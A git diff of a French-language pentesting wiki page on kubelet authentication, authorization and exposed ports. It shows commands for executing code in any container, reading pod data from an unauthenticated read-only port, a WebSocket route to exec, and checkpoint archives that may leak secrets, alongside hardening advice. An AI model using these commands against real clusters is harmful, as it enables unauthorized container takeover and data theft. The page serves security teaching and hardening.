+Cet endpoint liste les pods et leurs containers : ```bash kubeletctl pods ``` #### /exec -Ce endpoint permet d'exécuter du code à l'intérieur de n'importe quel container très facilement : +Ce point de terminaison permet d’exécuter du code à l’intérieur de n’importe quel conteneur très facilement : ```bash kubeletctl exec [command] ``` > [!NOTE] > Pour éviter cette attaque, le service _**kubelet**_ doit être exécuté avec `--anonymous-auth false` et le service doit être isolé au niveau du réseau. -### **Vérification de l'exposition des informations du Kubelet (Read Only Port)** +### **Vérification de l’exposition d’informations du Kubelet (port en lecture seule)** -Lorsqu'un **kubelet read-only port** est exposé, il devient possible pour des parties non autorisées de récupérer des informations depuis l'API. L'exposition de ce port peut entraîner la divulgation de divers **éléments de configuration du cluster**. Bien que les informations, y compris les **noms des pods, les emplacements de fichiers internes et d'autres configurations**, ne soient pas critiques, leur exposition représente tout de même un risque de sécurité et doit être évitée. +Lorsqu’un **port en lecture seule du kubelet** est exposé, il devient possible pour des parties non autorisées de récupérer des informations depuis l’API. L’exposition de ce port peut entraîner la divulgation de divers **éléments de configuration du cluster**. Bien que ces informations, notamment les **noms des pods, l’emplacement des fichiers internes et d’autres configurations**, ne soient pas critiques, leur exposition constitue malgré tout un risque de sécurité et doit être évitée. -Un exemple de la manière dont cette vulnérabilité peut être exploitée consiste pour un attaquant distant à accéder à une URL spécifique. En naviguant vers `http://:10255/pods`, l'attaquant peut potentiellement récupérer des informations sensibles depuis le kubelet : +Un exemple d’exploitation de cette vulnérabilité consiste pour un attaquant distant à accéder à une URL spécifique. En naviguant vers `http://:10255/pods`, l’attaquant peut potentiellement récupérer des informations sensibles depuis le kubelet : ![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png) diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index a8217f382..b896b8e1e 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -4,22 +4,22 @@ ## Authentification du Kubelet -[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**Depuis la docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -Par défaut, les requêtes vers le endpoint HTTPS du kubelet qui ne sont pas rejetées par d'autres méthodes d'authentification configurées sont traitées comme des requêtes anonymes, et se voient attribuer un **nom d'utilisateur `system:anonymous`** et un **groupe `system:unauthenticated`**. +Par défaut, les requêtes vers le endpoint HTTPS du kubelet qui ne sont pas rejetées par les autres méthodes d'authentification configurées sont traitées comme des requêtes anonymes, et reçoivent un **username de `system:anonymous`** et un **groupe de `system:unauthenticated`**. -Les **3** **méthodes** d'authentification sont : +Les **3** **methods** d'authentification sont : -- **Anonymous** (par défaut) : régler le paramètre **`--anonymous-auth=true`** ou la configuration : +- **Anonymous** (default) : utilisez le paramètre **`--anonymous-auth=true`** ou la config : ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: Cela va **activer** les kubectl **API bearer tokens** comme autorisation (tout token valide sera valide). Autorisez-le avec: -- assurez-vous que le groupe d'API `authentication.k8s.io/v1beta1` est activé sur le serveur API -- démarrez le kubelet avec les **`--authentication-token-webhook`** et **`--kubeconfig`** flags ou utilisez le réglage suivant: +- **Webhook** : Cela va **activer** les **API bearer tokens** de kubectl comme autorisation (tout token valide sera accepté). Autorisez-le avec : +- assurez-vous que le groupe d’API `authentication.k8s.io/v1beta1` est activé dans l’API server +- démarrez le kubelet avec les flags **`--authentication-token-webhook`** et **`--kubeconfig`** ou utilisez le paramètre suivant : ```json "authentication": { "webhook": { @@ -28,10 +28,11 @@ Les **3** **méthodes** d'authentification sont : }, ``` > [!NOTE] -> Le kubelet appelle l'**`TokenReview` API** sur l'API server configuré pour **déterminer les informations utilisateur** à partir des bearer tokens -- **X509 client certificates :** Permettent de s'authentifier via des certificats clients X509 -- voir la [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) pour plus de détails -- démarrez le kubelet avec l'option `--client-ca-file`, en fournissant un bundle CA pour vérifier les certificats clients. Ou via la config: +> The kubelet appelle l'**`TokenReview` API** sur le serveur API configuré pour **déterminer les informations utilisateur** à partir des bearer tokens + +- **X509 client certificates:** Allow to authenticate via X509 client certs +- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details +- start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config: ```json "authentication": { "x509": { @@ -39,16 +40,16 @@ Les **3** **méthodes** d'authentification sont : } } ``` -## Autorisation du Kubelet +## Kubelet Authorization -Toute requête qui est authentifiée avec succès (y compris une requête anonyme) **est alors autorisée**. Le mode d'autorisation **par défaut** est **`AlwaysAllow`**, qui **autorise toutes les requêtes**. +Toute requête correctement authentifiée (y compris une requête anonyme) **est ensuite autorisée**. Le mode d'autorisation **par défaut** est **`AlwaysAllow`**, qui **autorise toutes les requêtes**. -Cependant, l'autre valeur possible est **`webhook`** (c'est ce que vous rencontrerez **la plupart du temps**). Ce mode va **vérifier les permissions de l'utilisateur authentifié** pour autoriser ou refuser une action. +Cependant, l’autre valeur possible est **`webhook`** (ce que vous **trouverez le plus souvent**). Ce mode **vérifie les permissions de l’utilisateur authentifié** pour autoriser ou refuser une action. > [!WARNING] -> Notez que même si l'**authentification anonyme est activée**, l'**accès anonyme** pourrait **ne pas disposer de permissions** pour effectuer une action. +> Notez que même si **l’authentification anonyme est activée**, l’**accès anonyme** peut **ne disposer d’aucune permission** pour effectuer une action. -L'autorisation via webhook peut être configurée en utilisant le **paramètre `--authorization-mode=Webhook`** ou via le fichier de configuration avec : +L’autorisation via webhook peut être configurée en utilisant le **param `--authorization-mode=Webhook`** ou via le fichier de configuration avec: ```json "authorization": { "mode": "Webhook", @@ -58,45 +59,60 @@ L'autorisation via webhook peut être configurée en utilisant le **paramètre ` } }, ``` -Le kubelet appelle l'API **`SubjectAccessReview`** sur le serveur API configuré pour **déterminer** si chaque requête est **autorisée.** +Le kubelet appelle l'API **`SubjectAccessReview`** sur le API server configuré pour **déterminer** si chaque request est **authorized.** -Le kubelet autorise les requêtes API en utilisant la même approche des [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que l'apiserver : +Le kubelet autorise les API requests en utilisant la même approche de [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) que l'apiserver : - **Action** -| Verbe HTTP | verbe de requête | -| ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| POST | create | -| GET, HEAD | get (pour les ressources individuelles), list (pour les collections, y compris le contenu complet de l'objet), watch (pour surveiller une ressource individuelle ou une collection de ressources) | -| PUT | update | -| PATCH | patch | -| DELETE | delete (pour les ressources individuelles), deletecollection (pour les collections) | +| HTTP verb | request verb | +| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| POST | create | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | +| PUT | update | +| PATCH | patch | +| DELETE | delete (for individual resources), deletecollection (for collections) | -- La **ressource** qui s'adresse à l'API Kubelet est **toujours** **nodes** et la **sous-ressource** est **déterminée** à partir du chemin de la requête entrante : +- La **resource** qui parle à l'API du Kubelet est **toujours** **nodes** et le **subresource** est **déterminé** à partir du path de la request entrante : -| Kubelet API | ressource | sous-ressource | -| ------------ | --------- | -------------- | -| /stats/* | nodes | stats | -| /metrics/* | nodes | metrics | -| /logs/* | nodes | log | -| /spec/* | nodes | spec | -| _tous les autres_ | nodes | proxy | +| Kubelet API | resource | subresource | +| ------------ | -------- | ----------- | +| /stats/\* | nodes | stats | +| /metrics/\* | nodes | metrics | +| /logs/\* | nodes | log | +| /spec/\* | nodes | spec | +| /checkpoint/\* | nodes | checkpoint | +| _all others_ | nodes | proxy | + +Dans les clusters modernes, l'autorisation fine-grained du kubelet est activée par défaut. Kubernetes v1.36 l'a rendue stable : le kubelet vérifie d'abord les subresources plus spécifiques pour des paths comme `/pods`, `/runningPods`, `/healthz`, et `/configz` avant de revenir à `nodes/proxy` pour la backward compatibility. + +| Kubelet API | preferred subresource | fallback | +| ----------- | --------------------- | -------- | +| /pods | nodes/pods | nodes/proxy | +| /runningPods/ | nodes/pods | nodes/proxy | +| /healthz | nodes/healthz | nodes/proxy | +| /configz | nodes/configz | nodes/proxy | + +Utilisez ces subresources plus restreints pour le monitoring et le diagnostic quand c'est possible. Évitez d'accorder un large `nodes/proxy` pour des metrics, stats, health, la liste des pods, ou la consultation de la config ordinaires, car `nodes/proxy` couvre toujours des API kubelet à impact plus élevé. > [!NOTE] -> Les connexions WebSocket pour `/exec`, `/run`, `/attach`, et `/portforward` tombent dans la sous-ressource **proxy** par défaut et sont autorisées en utilisant la poignée de main HTTP initiale **GET**. Un principal disposant uniquement de `nodes/proxy` **GET** peut quand même exécuter des containers s'il se connecte directement à `https://:10250` via WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details. +> Les `/exec`, `/run`, `/attach`, et `/portforward` basés sur WebSocket tombent dans le subresource **proxy** par défaut et sont autorisés en utilisant le handshake HTTP **GET** initial. Un principal avec seulement `nodes/proxy` **GET** peut quand même exec des containers s'il se connecte directement à `https://:10250` via WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details. -Par exemple, la requête suivante a essayé d'accéder aux informations des pods du kubelet sans autorisation: +L'API Checkpoint du kubelet (`POST /checkpoint///`) est une autre surface kubelet sensible. Kubernetes v1.30 a rendu le container checkpointing beta et activé par défaut, mais une request dépend toujours de l'autorisation kubelet et du support runtime comme CRI-O ou containerd avec capacité checkpoint/CRIU. Les checkpoints réussis sont écrits sous le root directory du kubelet, par défaut `/var/lib/kubelet/checkpoints`, et peuvent contenir la mémoire du process avec des tokens, keys, ou des secrets d'application. Restreignez `nodes/checkpoint`, désactivez l'ancien read-only port, limitez la reachability réseau directe vers le kubelet, et surveillez ou nettoyez les archives de checkpoint si la fonctionnalité est utilisée volontairement. + +Par exemple, la request suivante a tenté d'accéder aux infos des pods du kubelet sans permission : ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- Nous avons reçu un **Forbidden**, donc la requête a **passé la vérification d'authentification**. Si ce n'était pas le cas, nous aurions obtenu simplement un message `Unauthorised`. -- On peut voir le **username** (dans ce cas depuis le token) -- Vérifiez comment la **resource** était **nodes** et la **subresource** **proxy** (ce qui a du sens avec les informations précédentes) +- Nous avons reçu un **Forbidden**, donc la requête a **réussi la vérification Authentication**. Si ce n’était pas le cas, nous aurions simplement reçu un message `Unauthorised`. +- Nous pouvons voir le **username** (dans ce cas depuis le token) +- Vérifiez comment la **resource** était **nodes** et la **subresource** **proxy** (ce qui est logique avec l’information précédente) -## Références +## References - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/) - [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}